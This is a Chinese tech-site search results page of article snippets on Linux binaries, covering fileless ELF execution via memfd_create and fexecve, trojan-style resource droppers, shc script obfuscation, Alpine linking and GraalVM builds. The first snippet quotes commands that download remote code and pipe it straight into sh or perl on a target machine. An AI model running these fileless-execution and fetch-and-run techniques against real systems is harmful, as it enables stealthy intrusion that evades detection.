首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
您找到你想要的搜索结果了吗?
是的
没有找到

Linux文件渗透执行ELF

exe抓样本等,但是攻击者是否会通过某种类似于curl http://attacker.com/1.sh | sh的方法来执行elf二进制文件呢?...02 技术核心 这里向大家介绍一个linux系统的底层调用函数memfd_create(2),它在内核3.17中引入,会创建一个匿名文件并返回一个文件描述符指向它,该文件表现和常规文件类同, 可以进行修改...memfd_create()调用时需要传入两个参数,一个是文件名,一个是MFD_CLOEXEC标志(类似于O_CLOEXEC),以便当我们执行ELF二进制文件时,我们得到的文件描述符将被自动关闭。...这里还有一个问题,如何将elf二进制文件写入到创建的文件当中,@MagisterQuis这里使用open函数将$FH内容添加进创建的匿名文件$fd当中,而$FH通过perl转化自要执行的elf文件,这就是该脚本的第二部分...第三部分就是执行文件了,调用exec函数执行该匿名文件 ? 这里我们最后的EXP就生产好了,我们可以目标机上执行 curl 192.168.1.138/elfload.pl | perl ? ?

5.4K80

linux文件执行— fexecve 揭秘

继续2020年的flag,至少每周更一篇文章,今天讲linux文件执行。...无文件执行 之前的文章中,我们讲到了无文件执行的方法以及混淆进程参数的方法,今天我们继续讲解一种linux文件执行的技巧,是后台朋友给我的提醒,万分感谢,又学到了新的东西。...linux文件执行,首先要提到两个函数:memfd_create 和 fexecve。...将ls 命令文件写入到wurstverschwendung文件 通过fexecve执行wurstverschwendung文件,因为/dev/shm在内存中,因此fexecve实际上是在内存中执行文件...对fexecve_test.c 进行编译并执行,可以看到/dev/shm下面确实生成了wurstverschwendung文件。 ? 调试角度 fexecve是如何执行内存中的文件呢?

4.4K40

二进制文件加入VC资源后释放执行

一个exe文件怎么生出另一个exe文件?    ...一般的木马生成、木马释放都使用的这个方法,dll也可以加到资源中,这样我们的程序就可以免去包含很多乱七八糟的二进制文件,一个exe就够了,执行的时候再释放。    ...其实原理很简单,把二进制文件导入到资源中。我们就以vs2010为例:     0x01    在VC的资源视图中选择添加资源 - 导入,选择你要包含的exe ?    ...0x02    包含以后,会看到你选择的文件已经以二进制的形式展现在你面前: ?    ...0x03    来到代码编辑区,我们在需要使用这个exe文件的时候,从资源里拿出这段二进制代码,写入内存或一个磁盘文件就行了。

1.4K41

linux版流媒体服务器报“无法执行二进制文件”错误解决的办法

为了满足不同的开发人员的使用系统习惯,我们也开发了两套版本:windows版和linux版,两者都可直接下载使用。 ?...有的用户反应从官网上面下载的EasyNVR在他们自己的linux服务器中无法运行,并且报“无法执行二进制文件”错误,如下图: ?...在linux系统中,32位操作系统运行64位的程序就会出现编译不了的情况。 ? 如何得知自己的系统是32位还是64位?...这里我们也一并说一下,在linux终端中,输入getconf LONG_BIT,查看返回信息,返回是32就是32位系统,而目前我们流媒体服务器不支持32位系统,需要重新编译64位的操作系统,才能正常使用

2.5K20

Linux下创建可执行bin安装文件

我们将脚本和安装介质上传到生产环境,然后通过执行脚本来完成安装。如果能够将这两个文件合并为一个可执行文件,那安装的过程就更简单明了。 2、代码保护。...2、对于第二个隐藏代码内容的需求,有一款工具叫做 shc ,可以用它来将脚本编程二进制文件。 shc的用法比较简单,下载后make生成可执行文件,然后直接对脚本进行加密,会生成两个文件。...一个以.x结尾,为可执行二进制文件。另一个以.x.c结尾,为生成的中间c文件。shc还能指定可执行脚本的过期时间。.../shc -f install-rpm.bin 通过 shc 可以将脚本文件编译成二进制文件,隐藏了脚本的内容,对于一般的用户是没办法查看和修改的。...参考资料: 1、Linux .bin安装文件制作 2、dos2unix 3、linux下制作二进制bin 文件制做方法 4、shc 5、How to Encrypt Your Bash Shell

8.9K20

Alpine linux容器中运行go的二进制文件

环境 docker version:1.10.3 alpine linux version:3.8 问题 将golang编译的二进制文件 opena 拷贝到容器的 /usr1 下面,执行显示: /usr1.../opena help sh: /usr1/opena: not found 查看下依赖库: ldd /usr1/opena /lib64/ld-linux-x86-64.so.2 (0x7fdd15cd0000...) libpthread.so.0 => /lib64/ld-linux-x86-64.so.2 (0x7fdd15cd0000) libc.so.6 => /lib64/ld-linux-x86...0x7fdd15cd0000) 但是alpine没有对应的依赖库 解决方案 看到一个贴子,某高人给出方案: mkdir /lib64 ln -s /lib/libc.musl-x86_64.so.1 /lib64/ld-linux-x86...alpine这个5M的镜像也能满足go二进制文件的运行环境!~ 题外话 对于用alpine作为go的编译环境同样存在上述问题,同样用相同方法可以解决。

5K50

SpringBoot3.0打包二进制执行文件

简介go语言等打包二进制发布的方式非常方便,oracle很早之前就开始研究一个叫做GraalVM的虚拟机,GraalVM不仅支持java,还支持js等其它语言,最重要的一点是,它可以将java打包成二进制执行...,也就是说生成环境不需要再安装jdk,只需要双击二进制执行文件即可运行,无论是便利性还是运行速度、包括内内存占用都得倒极大的优化。...另外,GraalVM能够通过一种前端的LLVM执行JVM上面的原生代码。GraalVM 1.0版本是基于JDK8的。...SpringBoot3.0在22年的年末发布了正式版本,本文将讲解如何基于SpringBoot3.0开发并打包一个二进制执行文件。...第一步: 访问Spring Initializr生成一个新的项目; 第二步: 常规的spring-boot开发即可; 第三步: 打包jar mvn clean package 打包二进制 mvn

48720
领券